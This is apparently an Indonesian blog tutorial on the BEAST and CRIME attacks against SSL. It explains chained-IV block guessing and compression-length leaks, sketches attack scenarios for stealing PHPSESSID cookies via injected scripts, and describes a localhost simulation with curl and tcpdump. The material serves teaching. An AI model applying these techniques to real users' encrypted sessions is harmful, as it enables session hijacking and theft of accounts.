Hanya pengingat saja. Karena adanya chained IV, kita tahu bahwa plaintext yang kita pilih ini akan dienkrip dengan menggunakan C2 sebagai IV. Nanti plaintext tersebut akan di-XOR lagi dengan IV (C2)  sebelum dienkrip sehingga menyisakan C0 XOR Ga saja yang akan dienkrip.

C3 = E(P3 XOR C2) = E(Co XOR C2 XOR Ga XOR C2) = E(Co XOR Ga)

Karena P3 sudah kita XOR duluan dengan C2, nanti akan menyisakan C3 = Encrypt(C0 XOR Ga). Dalam P3 juga kita gunakan C0 karena kita akan membandingkan dengan C3 dengan C1 dan C1 = Encrypt(C0 XOR P1).

Plaintext P3 ini adalah plaintext yang dipilih penyerang (chosen plaintext) untuk dienkrip menjadi C3. Kemudian penyerang akan melihat apakah C3 = C1 ? Bila tidak sama, maka penyerang akan melanjutkan dengan tebakan lain.

Screen Shot 2013-04-20 at 4.15.48 PM

Karena C3 tidak sama dengan C1 artinya tebakan Ga salah. Penyerang membuat tebakan baru Gb = ‘xxxxxxxxxxxxxxxb’ kemudian menentukan P4 = C0 XOR C3 XOR Gb. Plainteks pilihan penyerang ini akan dienkrip menjadi C4. Penyerang akan melihat apakah C4 = C1 ? Bila tidak sama, penyerang akan melanjutkan dengan tebakan lain.

Screen Shot 2013-04-20 at 4.15.57 PM

Penyerang akan terus mencoba sampai pada tebakan ke-20 (dalam contoh kasus ini), penyerang membuat tebakan Gt = ‘xxxxxxxxxxxxxxxt’ dan menentukan P22 = C0 XOR C21 XOR Gt. Setelah P22 dienkrip menjadi C22, penyerang melihat bahwa ternyata C22 = C1, yang artinya penyerang yakin bahwa P1 adalah ‘xxxxxxxxxxxxxxxt’.

Screen Shot 2013-04-20 at 4.16.04 PM

Setelah penyerang mengetahui karakter pertama adalah ‘t’ selanjutnya penyerang akan mengulangi lagi dari fase pertama untuk menggeser batas dan fase kedua untuk menebak karakter terakhir sebanyak maksimal 256 kali tebakan.

Chosen Boundary dalam HTTPS

Selama ini yang sudah kita bahas masih dalam tataran model atau teoretis saja. Sebenarnya apakah model tersebut ada di dunia nyata ? Jawabnya ada, BEAST attack adalah serangan yang mengeksploitasi chained IV menggunakan teknik pergeseran batas blok (chosen boundary) untuk mendekrip SSL record.

Berikut adalah contoh cookie-bearing request yang dikirim oleh browser dan sudah dipotong-potong menjadi blok-blok plainteks, P1 || P2 || P3 || P4. Dengan sniffing penyerang berhasil mendapatkan ciphertext C = C1 || C2 || C3 || C4 dan ingin mencuri cookie PHPSESSID korban. Bagaimanakah caranya ?

Screen Shot 2013-04-20 at 5.29.22 PM

Penyerang bisa mencuri cookie PHPSESSID dengan cara yang sama dengan yang sudah kita bahas tadi.

Fase pertama kita harus menggeser batas bloknya sehingga hanya byte terakhir saja yang tidak diketahui isinya. Dalam request HTTP di atas sebagian besar isi teks sudah diketahui, “POST”, “HTTP/1.1″ dan “Cookie” adalah teks yang umum ada pada request HTTP, bukan hal yang rahasia. Satu-satunya yang rahasia pada request di atas hanyalah isi dari PHPSESSID “af25c…”, bahkan panjang dari isi PHPSESSID bukan sesuatu yang rahasia.

Penyerang bisa menyisipkan teks tambahan dalam URI path untuk menggeser batas. Dalam contoh request di atas kita ingin menggeser “af25c…” sebanyak 12 karakter ke kanan. Penyerang akan mengirimkan cookie-bearing request dengan URI PATH /xxxxxxxxxxxx sehingga blok plainteks dari request yang terbentuk adalah:

Screen Shot 2013-04-20 at 5.37.59 PM

Perhatikan pada request yang telah digeser ini, P3 adalah “kie: PHPSESSID=a”. Dari P3 tersebut hanya karakter terakhir saja yang tidak diketahui, “Cookie” dan “PHPSESSID” adalah teks yang umum pada request HTTP. Sudah terbayang kan caranya? Setelah kita menggeser agar P3 menjadi seperti itu, selanjutnya kita masuk ke fase dua, yaitu menebak karakter terakhir sebanyak maksimal 256 kali.

Dengan mengulangi fase pertama dan fase kedua untuk semua karakter pada cookie, pada akhirnya penyerang akan bisa mencuri cookie. Inilah yang sebenarnya terjadi dalam serangan BEAST attack.

Skenario Serangan

Bagaimana sebenarnya serangan BEAST itu dilakukan untuk mencuri cookie PHPSESSID seperti contoh request di atas? Gambar di bawah menunjukkan skenario serangan BEAST bagaimana seorang penyerang mencuri cookie PHPSESSID bank.com.

Screen Shot 2013-04-20 at 5.45.51 PM

Serangan BEAST ini mensyaratkan penyerang berada dalam posisi yang memungkinkan untuk melakukan sniffing (e.g. satu jaringan LAN, berada di proxy/router).

Syarat kedua adalah penyerang berhasil menjalankan script di browser yang sama (di tab berbeda) dengan yang dipakai korban untuk membuka bank.com. Script tersebut berfungsi sebagai agent yang mampu mengirimkan cookie-bearing request dan mengirimkan data (over SSL) ke situs bank.com. Ada banyak cara penyerang bisa mengeksekusi script di browser korban, antara lain dengan merayu korban mengklik situs evil.com yang berisi script agent.

Berikut adalah cara yang dilakukan penyerang untuk mencuri PHPSESSID:

  1. Pada fase pertama script yang jalan di browser korban memaksa browser korban mengirimkan cookie-bearing request ke bank.com dengan URI path mengandung ‘xxxxxxxxxxxxxxxx’ untuk menggeser isi PHPSESSID sebanyak 12 karakter.
  2. Sniffer yang dipasang si penyerang mencatat request POST tersebut dalam bentuk SSL record yang berisi C=C1||C2||C3||C4
  3. Karena karakter pertama PHPSESSID berada pada byte terakhir P3, maka selanjutnya penyerang masuk ke fase dua untuk menebak karakter terakhir P3
  4. Script agent akan memaksa browser mengirimkan data ke situs target sebagai lanjutan dari request POST pada fase pertama (sebagai bagian dari POST body)
  5. Penyerang akan meminta browser mengenkripsi P5 = C2 XOR C4 XOR Ga dan mengirimkannya (over SSL) ke situs target
  6. Sniffer penyerang akan melihat C5 yang lewat di jaringan dan memeriksa apakah C5 = C3 ? Bila sama, maka tebakan penyerang benar
  7. Bila tebakan penyerang salah maka penyerang akan membuat tebakan baru dan kembali ke langkah 5.
  8. Paling banyak dalam 256 kali tebakan si penyerang akan berhasil mendapatkan karakter pertama isi PHPSESSID.
  9. Selanjutnya penyerang kembali ke fase pertama di langkah 1 sampai semua karakter PHPSESSID berhasil dicuri.

Simulasi Serangan

Saya membuat script python kecil untuk mensimulasikan bagaimana proses dekripsi dalam BEAST attack ini terjadi. Berikut ini adalah screen recording ketika script demo simulasi BEAST attack tersebut dijalankan.

Source code dari script di bawah ini bisa didownload di sini: beast2.py


Saya akan jelaskan sedikit cara kerja script tersebut. Cipher yang dipakai adalah AES dengan panjang blok 16 byte, kunci dan isi teks rahasia disimpan dalam variabel key dan secret.

Fungsi challengePhase1(text) ini digunakan untuk mensimulasikan serangan pada fase pertama. Teks yang dikirim ke fungsi akan ditambahkan di awal teks rahasia, “plaintext = text + secret”. Selanjutnya plainteks gabungan ini dienkrip dengan AES mode CBC dan fungsi ini mengembalikan IV+ciphertextnya.

Perhatikan bahwa initialization vector pada variabel iv selalu berubah menjadi blok ciphertext terakhir. Hanya IV pertama yang digenerate secara random.

Screen Shot 2013-04-20 at 6.23.31 PM

Fungsi challengePhase2(text) mensimulasikan serangan pada fase kedua (fase tebakan). Teks yang dikirim ke fungsi adalah plainteks yang dipilih (chosen plaintext) untuk dienkrip. Fungsi mengembalikan ciphertext hasil enkripsinya. Pada fungsi ini IV juga selalu diubah menjadi blok ciphertext terakhir.

Screen Shot 2013-04-20 at 6.28.12 PM

Setelah kita siapkan dua fungsi untuk fase pertama dan fase kedua, sekarang kita lihat bagaimana penyerang melakukan serangannya (tentu dalam simulasi).

Pertama penyerang akan membuat r yang berisi banyak karakter NULL (0×00) sebagai teks yang akan disisipkan untuk menggeser blok plainteks. Pada awalnya r akan berisi 15 karakter NULL untuk menebak karakter pertama secret. Berikutnya r berisi 14 karakter NULL untuk menebak karakter kedua secret dan seterusnya.

Screen Shot 2013-04-20 at 6.31.13 PM

Blok loop di bawah ini adalah blok yang melakukan tebakan mulai dari karakter ASCII 32 sampai karakter ASCII 127 (karena kita tahu plainteks adalah printable ASCII). Guess block G adalah r + satu karakter ASCII antara 32-127 dan chosen plainteks (challengeblock) yang akan dienkrip adalah Ci XOR IV XOR G.

Keluaran dari challengePhase2 akan dibandingkan dengan cipherteks yang dicari, bila sama, maka karakter yang dicari berhasil ditemukan.

Screen Shot 2013-04-20 at 6.32.15 PM

Ada situs yang membuat demo/simulasi BEAST attack dalam javascript, silakan kunjungi BEAST demo.

 

Compression Side Channel Attack – CRIME Attack

On April 12, 2013, in Cryptography, by Rizki Wicaksono

Kompresi selain berguna untuk menghemat ruang dan waktu, namun ternyata ada sisi lain dari kompresi yang bisa membahayakan. Kompresi bisa disalahgunakan untuk mencuri data yang telah dilindungi dengan enkripsi.  Kebocoran informasi dari kompresi ini dieksploitasi oleh Juliano Rizzo and Thai Duong dalam CRIME attack (Compression Ratio Info-leak Made Easy) untuk mencuri cookie dari web yang dilindungi SSL.

Bagi yang belum pernah mendengar CRIME attack, silakan lihat dulu youtube CRIME vs startups yang mendemokan bagaimana CRIME attack mampu dengan cepat membajak account Dropbox, Github dan Stripe yang menggunakan HTTPS. CRIME attack mampu mencuri data yang telah dienkrip dalam paket SSL satu byte demi satu byte sampai akhirnya semua cookie berhasil dicuri. Gara-gara CRIME attack ini fitur kompresi SSL dalam Google Chrome dimatikan, sehingga praktis kini tidak ada lagi browser yang mendukung kompresi SSL.

Dalam tulisan ini saya akan membahas mengenai bagaimana memanfaatkan kebocoran informasi dari ukuran paket data yang terkompres untuk mendekrip paket SSL seperti yang digunakan dalam CRIME attack.

Algoritma Kompresi

Algoritma kompresi dalam memampatkan data ada dua pendekatan, ada yang menghilangkan sebagian datanya, ada yang menjaga datanya tetap untuh 100%.

  • Lossless compression

Lossless compression adalah jenis kompresi yang memampatkan data dalam suatu cara tertentu sedemikian hingga bisa dikembalikan ke bentuk semula lagi tanpa ada data yang hilang. Contoh algoritma kompresi lossless adalah deflate, run-length encoding. Dalam tulisan ini kita menggunakan deflate (dan turunannya zip, gzip) karena deflate adalah algoritma kompresi yang dipakai untuk memampatkan halaman web.

  • Lossy compression

Lossy compression adalah jenis kompresi yang memampatkan data dengan cara menghilangkan sebagian data sehingga data hasil kompresi tidak bisa dimekarkan kembali ke bentuk semula 100%.  Contoh lossy compression adalah format video, musik dan gambar. Dengan menggunakan lossy compression pasti akan terjadi penurunan kualitas gambar, video atau musik karena ada data yang dihilangkan.

Lossy compression hanya boleh dipakai untuk data-data yang memang boleh dikurangi sebagian datanya dengan menurunkan kualitasnya seperti gambar, video dan musik. Lossy compression tidak boleh dipakai untuk data-data yang harus utuh 100% seperti data transaksi, data financial dan lain-lain.

Algoritma Kompresi

Kita sebenarnya sudah sering menggunakan kompresi dalam percakapan sehari-hari tanpa kita sadari seperti contoh-contoh berikut:

  • PPPK (4 byte) biasa disingkat menjadi P3K (3 byte) karena kita lebih mudah menyebut kotak P3K daripada kotak PPPK
  • PPPP (4 byte) biasa disingkat menjadi P4 (2 byte) karena kita lebih mudah menyebut penataran P4 daripada penataran PPPP

Contoh kompresi yang dilakukan di atas adalah algoritma RLE (run length encoding), yang intinya mengganti suatu karakter [X] yang berulang n kali dengan n[X]. Contoh lain kompresi yang dipakai sehari-hari adalah bahasa alay  contohnya:

  • “demi apa” (8 byte) menjadi “miapah” (6 byte)
  • “terimakasih” (11 byte) menjadi “maacih” (6 byte)
  • “sama-sama” (9 byte) menjadi “macama” (6 byte)
  • “sama siapa” (10 byte) menjadi “macapa” (6 byte)

Kompresi yang dipakai di dunia komputer secara prinsip juga mirip dengan yang kita pakai sehari-hari. Algoritma kompresi yang dipakai dalam dunia web adalah deflate (beserta turunannya, zip/gzip). Deflate sendiri sebenarnya menggunakan algoritma kompresi LZ77 (Lempel-Ziv 1977) dan huffman coding.

LZ77 bekerja dengan cara mengurangi redundancy dengan mengganti teks yang redundan dengan perintah untuk menyalin teks yang sama dari tempat lain di belakangnya (sebelumnya). Perintah untuk menyalin teks adalah dalam bentuk triplet:

  • Jarak atau offset ke belakang, yaitu berapa karakter jarak ke belakang dari posisi sekarang
  • Panjang karakter yang disalin, yaitu berapa banyak karakter yang akan disalin
  • Karakter sesudahnya, yaitu karakter sesudah proses salin dilakukan

Perhatikan contoh teks “bad mood install moodle”, teks “mood” dalam “moodle” redundan dengan teks “mood” 13 karakter di belakangnya sehingga kita tidak perlu lagi menulis lengkap “moodle”, kita cukup mengatakan [13,4,'l'] yang artinya mundur 13 karakter ke belakang dan salin 4 karakter, kemudian tambahkan huruf ‘l’.

Jadi bentuk kompresi “bad mood install moodle” bisa disingkat menjadi “bad mood install [13,4,l]e”

Screen Shot 2013-04-11 at 11.27.28 PM

Screen Shot 2013-04-12 at 6.50.39 AM

Pada LZ77 ada batasan sejauh mana dia boleh melihat ke belakang dan ke depan untuk mencari kecocokan/redundansi, jarak pandang ini disebut lebar jendela karena dalam prosesnya digunakan jendela geser (sliding window).

Seandainya lebar jendelanya adalah 10, walaupun teks “mood” redundan, tapi karena jaraknya (13) di luar batas jendela, maka tidak akan diganti. Jadi lebar jendela ini mirip dengan jarak pandang, kalau jarak pandangnya hanya 10, dia tidak akan melihat bahwa ada teks “mood” juga 13 karakter di belakangnya karena maksimum hanya bisa melihat 10 karakter ke belakang.

Contoh yang sedikit berbeda untuk teks “Blah blah blah blah!” bisa dikompresi menjadi “Blah b[5,13,!]“. Kali ini agak sedikit aneh karena kita mundur 5 langkah tapi yang dicopy adalah 13 karakter, hal ini terjadi karena LZ77 mencari “longest match”.

Gambar di bawah ini adalah proses dekompresi dari “Blah b[5,13,'!']” menjadi “Blah blah blah blah!”, perhatikan bahwa proses copy-paste dilakukan bertahap, 5 byte, 5 byte dan 3 byte.

Screen Shot 2013-04-12 at 7.45.07 AM

Algoritma kompresi LZ77 menggunakan 2 sliding window (jendela geser), search buffer dan look-ahead buffer. Sliding window  selalu bergeser ke kanan setiap memproses satu karakter. Search buffer adalah buffer history, karakter yang sudah dilalui sedangkan look ahead buffer adalah karakter yang akan diproses. LZ77 akan mencari apakah ada teks dalam search buffer yang sama dengan teks dalam look ahead buffer. Jadi lebar sliding window menentukan sejauh mana dia melihat ke belakang dan sejauh mana dia melihat ke depan.

Mari kita lihat lebih langkah per langkah bagaimana LZ77 memampatkan teks “ratatatat a rat at a rat” berikut ini. Pada mulanya search buffer masih kosong dan look-ahead buffer dimulai dari karakter pertama ‘r’. Pada posisi ini akan dicari apakah ada teks dalam search yang cocok dengan look-ahead buffer ? Karena tidak ada yang cocok, maka karakter pertama ‘r’ masuk ke search buffer dan look-ahead buffer bergeser ke kanan satu karakter.

Screen Shot 2013-04-18 at 3.20.45 PM

Pada langkah ke-2, look-ahead buffer dimulai dari karakter ke-2 ‘a’ dan search buffer hanya berisi satu karakter. Pada langkah kedua ini juga tidak ditemukan kecocokan sehingga karakter kedua ‘a’ masuk ke search buffer dan look-ahead buffer bergeser ke kanan.

Screen Shot 2013-04-18 at 3.21.48 PM

Pada langkah ke-3, look-ahead buffer dimulai dari karakter ke-3 ‘t’ dan search buffer berisi ‘ra’. Pada langkah ke-3 ini juga tidak ditemukan kecocokan sehingga karakter ke-3 ‘t’ masuk ke search buffer dan look-ahead buffer bergeser ke kanan.

Screen Shot 2013-04-18 at 3.22.33 PM

Pada langkah ke-4, look ahead buffer dimulai dari karakter ke-4 ‘a’ dan search buffer berisi ‘rat’. Perhatikan bahwa kali ini kita mendapatkan kecocokan pada teks ‘atatat’ di look-ahead buffer dengan teks ‘at’ pada search buffer. Teks ‘atatat’ pada look-ahead bisa diganti dengan [2,6,'_'] yang artinya mundur 2 langkah, copy dan paste sebanyak 6 karakter kemudian tambahkan karakter underscore.

Screen Shot 2013-04-18 at 3.09.47 PM

Setelah menemukan kecocokan, 6 karakter dan satu karakter ‘_’ di look-ahead buffer masuk ke dalam search buffer, dan look-ahead buffer bergeser ke posisi sesudah karakter ‘_’.

Screen Shot 2013-04-18 at 9.42.43 PM

Selanjutnya prosesnya bisa dilanjutkan sampai semua karakter selesai diproses. Kurang lebih seperti itulah cara LZ77 melakukan kompresi.

Compression Information Leakage

Sebelumnya sudah kita bahas cara kerja lossless compression adalah dengan menyingkat data yang bisa disingkat (data yang berulang, redundan atau duplikat). Cara kerja kompresi yang seperti ini bisa membocorkan informasi dan dijadikan petunjuk untuk mengambil informasi rahasia yang sudah dilindungi enkripsi. Bagaimana caranya ?

Ingat dalam algoritma losssless compression, data yang redundan atau duplikat akan dihilangkan atau disingkat. Namun tidak semua data bisa dimampatkan, bila tidak ada redundancy atau duplikat sama sekali, maka kompresi tidak membuat panjangnya menjadi lebih kecil.

Gambar di bawah ini adalah dua himpunan data A dan B yang sama sekali berbeda, tidak ada sedikitpun kesamaan antara keduanya. Dalam kasus ini, panjang union A dan B adalah panjang A + panjang B atau dalam notasi matematika, n(A ∪ B) = n(A) + n(B).

Screen Shot 2013-04-09 at 9.49.10 PM

Algoritma kompresi lossless tidak bisa memampatkan data yang seperti ini. Panjang hasil kompresi dari A+B adalah panjang A+B bahkan mungkin malah lebih besar karena adanya overhead tambahan seperti header file.

Bila kita memampatkan data A dan B, kemudian melihat panjangnya ternyata lebih besar atau sama dengan panjang A+B, maka tanpa melihat isi A dan B kita yakin bahwa tidak ada data yang beririsan, kita yakin bahwa A dan B benar-benar berbeda, sekali lagi, tanpa melihat isi A dan B.

Kasusnya berbeda bila ada sebagian dari B yang ada di A atau semua isi B sudah ada di A seperti gambar di bawah ini. Irisan antara A dan B adalah data yang redundan atau duplikat. Dalam kasus ini berlaku, n(A ∪ B) = n(A) + n(B) – n(A ∩ B) atau panjang A + panjang B – panjang data yang redundan sehingga panjang kompresi A+B akan lebih kecil dari panjang A + panjang B.

Screen Shot 2013-04-09 at 9.59.16 PM

Lalu dimana letak kebocoran informasinya? Kebocoran informasinya adalah pada panjang data hasil kompresi. Bila hasil kompresi A dan B lebih kecil dari panjang A dan panjang B, tanpa melihat isi A dan B, kita tahu bahwa ada irisan antara A dan B.

Bayangkan bila A adalah data rahasia yang tidak kita ketahui isinya. Kita bisa menebak isi A dengan menambahkan B sebagai tebakan isi A, kemudian melihat apakah panjang kompresi A+B lebih kecil atau tidak. Bila panjang hasil kompresinya lebih kecil artinya tebakan kita benar, ada sebagian dari guess yang ada di A.

Gambar di bawah memperlihatkan bila tebakan kita salah, maka tidak ada irisannya, bila tebakan kita benar maka akan ada irisannya. Semakin banyak irisan antara guess dan data rahasia yang dicari, rasio kompresinya akan semakin tinggi (semakin kecil panjang hasil kompresi secret+guess).

Screen Shot 2013-04-11 at 9.28.55 AM

Jadi kita bisa mengetahui jawaban dari “apakah dalam A mengandung ‘ab’ ?” dengan melihat hasil kompresi A + “ab”, bila hasilnya lebih kecil artinya jawaban atau tebakan kita benar. Bila tebakan kita salah kita bisa coba lagi dengan “apakah dalam A mengandung ‘ac’ ?” dan seterusnya.

Bermain di Perbatasan

Dalam block cipher encryption, data dan padding byte disusun dalam blok-blok berukuran sama, contohnya dalam AES-128 data disusun dalam blok berukuran 16 byte. Karena data disusun dalam blok maka record SSL akan berukuran kelipatan “block size”, bukan lagi berukuran sejumlah total size data dalam byte.

Sebagai contoh, data yang berisi string “database mysql” yang berukuran panjang 14 byte, dalam block cipher akan diperlakukan sebagai data yang berukuran 16 byte atau satu blok dengan menambahkan padding. Jadi walaupun datanya berukuran 14, kita akan melihat encrypted packet yang berukuran 16 atau 1 blok.

Bila string “database mysql” kita tambahkan dengan huruf ‘w’ di awal menjadi string “wdatabase mysql”, dari sudut pandang SSL, data tersebut berukuran sama dengan string sebelumnya, yaitu masih 16 byte. Dari sudut pandang string string yang baru  ukurannya lebih panjang satu byte, tapi dari sudut pandang block-cipher ukurannya sama, yaitu sama-sama satu blok.

Gambar di bawah ini menunjukkan bagaimana data “wdatabase mysql” disimpan dalam blok (kotak berwarna merah adalah padding).

Screen Shot 2013-04-09 at 6.45.39 PM

Apa yang terjadi bila string “wdatabase mysql” ditambahkan huruf ‘w’ lagi di awal ? Ternyata string tersebut tepat berukuran 16 byte. Bila datanya sudah berukuran sama dengan ukuran blok, maka harus ditambahkan satu blok kosong yang berfungsi sebagai padding. String “wwdatabase mysql” yang berukuran 16 byte dari sudut pandang block-cipher berukuran 32 byte.

Jadi walaupun kita hanya menambahkan satu byte saja, ternyata ukuran encrypted packet bukan bertambah 1 tapi malah bertambah 16 byte. Dalam situasi ini berarti string “wdatabase mysql” adalah string yang sudah berada di pinggir batas wilayah, tinggal satu langkah lagi untuk keluar dari batas blok.

Screen Shot 2013-04-09 at 6.54.29 PM

Bila kita tambahkan lima huruf ‘w’ lagi di awal tidak akan merubah ukuran encrypted packet, ukurannya masih 32 byte. Ukuran encrypted packet tidak berubah karena datanya masih muat dalam 2 blok.

Screen Shot 2013-04-09 at 7.02.06 PM

Ukuran encrypted packet hanya akan bertambah bila kita menambahkan data di “perbatasan” blok. Tadi kita sudah lihat bagaimana menambahkan satu huruf saja membuat blok bertambah, hal tersebut terjadi karena data yang ditambahkan sudah berukuran satu byte kurang dari kelipatan 16 (di perbatasan blok).

Penting untuk diperhatikan bahwa karena kita tidak mungkin melihat isi data dari paket SSL, kita hanya bisa melihat panjang datanya, dan panjang data tersebut dalam kelipatan panjang blok bukan jumlah total byte datanya.

Mencari Perbatasan

Tadi kita sudah bahas bagaimana panjang encrypted paket bisa mengembang data ditambahkan sedemikian hingga melewati batas blok. Lalu dimana sebenarnya batas itu? Menentukan batas tidak sulit, hanya diperlukan beberapa percobaan saja.

Sebagai contoh kasus saya sudah menyiapkan sebuah website yang dilindungi dengan SSL:

https://localhost:8443/kripto/kompres.php?search=text

URL tersebut menerima input parameter GET kemudian mengirimkan kembali (echoing) isi parameter ‘search’ tersebut dalam response. Ada banyak web yang meng-echo-kan kembali input dari user, contoh paling sering adalah pada fitur pencarian (contoh: “Your search query is bla bla bla”).

Screen Shot 2013-04-09 at 8.12.52 PM

Jadi masukan user dalam parameter ‘search’ akan menjadi bagian dari response dari server. Semakin besar data yang dikirimkan user, panjang response dari server juga semakin besar.

Gambar ini menunjukkan script findboundary.sh yang melakukan request ke kompres.php dengan parameter search (“qo4vxmG….+RAHASIA:”) yang panjangnya bertambah terus. Dalam 10 request pertama, panjang paket data SSL adalah tetap 454 tidak bertambah panjang walaupun dalam setiap request parameter search selalu bertambah satu karakter.

Pada request ke-11 (parameter search sudah ditambahkan 11 karakter), baru terlihat ada perubahan panjang paket SSL. Pada request tersebut ternyata panjang paket SSL menjadi 470, atau bertambah 16 byte atau bertambah 1 blok. Disini kita berarti berada pada situasi dimana data sudah di perbatasan, melangkah satu langkah lagi kita sudah berada di luar blok.

Bila data sudah berada pada batas blok, menambah satu karakter lagi akan membuat panjang data bertambah satu blok.

Screen Shot 2013-04-09 at 9.04.09 PM

 Gambar di bawah ini adalah script yang sama namun dilihat dengan tcpdump. Pada request ke-11 panjang paket bertambah 16 byte (1 blok) dari 378 ke 394. TCP dump menampilkan panjang paket 378-394 adalah panjang dari layer TCP ke atas, sedangkan wireshark menunjukkan 454-470 adalah panjang frame dari layer IP sampai atas.

Screen Shot 2013-04-09 at 7.19.03 AM

Jadi kini kita sudah mengetahui panjang data dimana bila ditambahkan satu byte lagi, jumlah blok akan bertambah satu.

Simulasi Attack

Sekarang kita mulai mendemokan serangan ini dengan contoh file kompres.php yang sudah dijelaskan di atas. Dalam page tersebut ada kode rahasia “RAHASIA:topsecret2013″ dan input dari client dituliskan di sebelahnya jadi input dari user juga menjadi bagian dari respons.

Bila user mengirimkan input berisi “test” maka panjang respons dari server akan bertambah 4 (kita kesampingkan dulu adanya blok). Namun bila user mengirimkan input berisi “RAHASIA:” atau “RAHASIA:t” atau “RAHASIA:to” maka panjang respons dari server bukan bertambah tapi tetap atau berkurang ada string yang sama muncul dua kali (redundan). Ini penting untuk diingat karena yang akan kita jadikan indikator apakah tebakan kita benar atau salah adalah panjang respons.

Sebelumnya kita sudah mendeteksi boundary atau batas blok dengan input parameter search adalah “qo4vxmGlcKzYpUKk9CmQwZ8uEq+RAHASIA:”.  Bila kita tambahkan satu karakter lagi pada parameter search ini, maka panjang respons data akan bertambah satu blok, kecuali bila data tambahan tersebut beririsan atau redundan dengan data yang sudah ada sehingga kita bisa membedakan apakah tebakan kita benar atau salah dengan melihat apakah panjang paket SSL bertambah satu blok atau tidak.

Skenario Attack

Serangan ini sebenarnya dilakukan dalam situasi dimana seorang peretas ingin mencuri data rahasia milik korban di situs yang dilindungi SSL. Dalam skenario ini si peretas hanya bisa membuat korban mengirim request berisi parameter search yang sudah dirancang khusus namun tidak bisa membaca responsnya karena dilindungi oleh SSL. Walaupun tidak bisa membaca isi paket SSLnya, si peretas bisa membaca panjang paket SSL tersebut.

Berikut adalah salah satu skenario yang memungkinkan dalam attack ini.

  1. Seorang peretas berada dalam posisi MITM (man in the middle) bisa secara aktif memanipulasi http respons dan bisa menyisipkan javascript ke browser korban khusus untuk situs NON-SSL (situs dengan SSL tidak bisa dimanipulasi). Dia juga bisa secara passif melakukan sniffing traffic yang lewat antara korban dan situs bank, namun untuk situs yang dilindungi SSL, dia tidak bisa membaca isinya.
  2. Korban membuka situs NON-SSL, berita.com. Diam-diam si peretas mencegat dan mengubah response HTTP dari server berita.com untuk menyisipkan malicious html yang akan dieksekusi di browser korban.
  3. Malicious html membuka halaman evil.com dalam hidden iframe sehingga javascript dari evil.com diload di browser korban tanpa disadari korban
  4. Javascript di browser korban memaksa browser untuk mengirimkan (cookie-bearing) request ke situs HTTPS://bank.com dengan parameter search yang sudah dirancang khusus dengan karakter tebakan
  5. Si peretas mengamati panjang encrypted packet yang lewat baik request dari korban maupun response dari server bank.com. Dengan melihat panjang paketnya saja dia bisa mengetahui apakah tebakannya benar atau salah

Screen Shot 2013-04-09 at 11.39.22 PM

Apa itu cookie bearing request? Cookie bearing request itu sebenarnya request HTTP biasa, GET atau POST, hanya saja karena dilakukan dalam browser yang sama (walaupun dalam tab yang berbeda), maka setiap request akan otomatis membawa cookie untuk situs tersebut ( ini sudah behaviour bawaan semua browser ).

Ada banyak cara untuk memaksa browser mengirim request ke situs tertentu. Cara paling mudah dengan menaruh URL yang akan direquest (sembarang URL boleh, tidak harus URL gambar) pada atribut SRC dari tag <IMG>. Suatu halaman web memang boleh merequest dan memuat gambar dari situs-situs lain.

Jadi pada intinya dalam serangan ini peretas memaksa browser korban mengirim request dengan parameter khusus ke situs  target kemudian mengamati panjang paket SSL yang lewat

Dalam tulisan ini saya hanya melakukan simulasi saja, saya tidak menggunakan javascript untuk membuat cookie-bearing request. Saya hanya mensimulasikan dengan curl kemudian mengamati paket yang lewat dengan tcpdump/wireshark.

Mencari Karakter Pertama

Kita sudah menemukan bahwa menambahkan satu karakter sesudah parameter “qo4vxmGlcKzYpUKk9CmQwZ8uEq+RAHASIA:” akan membuat panjang paket SSL naik dari 378 menjadi 394. Namun tidak semua huruf akan mebuat paket SSL menjadi 394, akan ada satu huruf yang panjang paketnya adalah 378.

Berikut adalah source code script untuk melakukan brute force dari a-z.

Screen Shot 2013-04-08 at 11.34.02 PM

Sebelum script tersebut dijalankan kita harus menjalankan tcpdump atau sniffer dulu karena kita akan menangkap paket SSL dan mengamati panjang paketnya. Gambar berikut ini adalah eksekusi script brute-atoz.sh dan hasil tcpdump ketika 26 request di atas dijalankan. Terlihat bahwa dari 26 huruf, hanya ada satu huruf yang panjang paket SSLnya adalah 378. Dari hasil ini kita yakin bahwa karakter pertama adalah huruf ‘t’.

Screen Shot 2013-04-12 at 8.29.32 PM

Kalau kita lihat dengan wireshark hasilnya juga sama, tepat ketika kita mencoba guess “RAHASIA:t” panjang paket SSL berbeda sendiri, tidak bertambah 16 byte seperti yang lainnya.

Screen Shot 2013-04-09 at 5.45.36 AM

Kenapa bisa begitu, apa yang sebenarnya terjadi? Mari kita lihat apa yang terjadi di sisi server. Tadi kita sudah lihat bahwa dalam response HTTP terdapat teks “RAHASIA:topsecret2013″. Kalau kita kirim parameter search “RAHASIA:x” maka teks input dari user dan teks dari server yang redundan hanya sampai “RAHASIA:”, sedangkan sisanya huruf ‘x’ tidak redundan yang menyebabkan huruf ‘x’ tersebut menambah panjang respons sebesar satu byte. Ingat karena kita bermain di perbatasan, penambahan satu panjang data satu huruf akan menambah satu blok.

Sedangkan bila kita mengirim request “RAHASIA:t” maka parameter tersebut redundan semua sehingga setelah dikompresi tidak menambah panjang data. Perhatikan bahwa walaupun sebenarnya data ditambah satu huruf ‘t’ tapi penambahan huruf tersebut tidak membuat panjang data bertambah satu huruf karena algoritma kompresi bekerja.

Itulah yang terjadi mengapa “RAHASIA:t” berbeda sendiri dengan “RAHASIA:a”, “RAHASIA:b” dan yang lainnya.

Screen Shot 2013-04-12 at 4.48.55 PM

Mencari karakter ke-2

Setelah kita mengetahui karakter pertama adalah ‘t’, maka kita akan mencari karakter ke-2 dengan mengirimkan request “RAHASIA:ta” sampai “RAHASIA:tz”. Hasil sniffing  di bawah ini menunjukkan bahwa ketika kita mengirim request “RAHASIA:to” panjang paket menjadi 378, artinya “RAHASIA:to” beririsan dengan teks yang kita cari sehingga kita yakin bahwa dua karakter pertama adalah “to”.

Screen Shot 2013-04-12 at 8.27.03 PM

Mencari karakter ke-3

Kita lanjutkan prosesnya untuk mencari karakter ke-3. Kali ini kita mengirimkan request “RAHASIA:toa” sampai dengan “RAHASIA:toz”. Hasil sniffing menunjukkan bahwa request “RAHASIA:top” beririsan dengan teks yang kita cari sehingga kita yakin bahwa karakter ke-3 adalah “p”.

Screen Shot 2013-04-12 at 8.22.48 PM

Mencari karakter ke-4

Sekarang kita lanjutkan prosesnya untuk mencari karakter ke-4. Kali ini kita mengirim request dengan parameter “RAHASIA:topa” sampai dengan “RAHASIA:topz”. Hasil sniffing menunjukkan bahwa karakter ke-4 adalah huruf ‘s’ sehingga kita sudah menemukan 4 karakter pertama yaitu “tops”.

Screen Shot 2013-04-12 at 8.15.13 PM

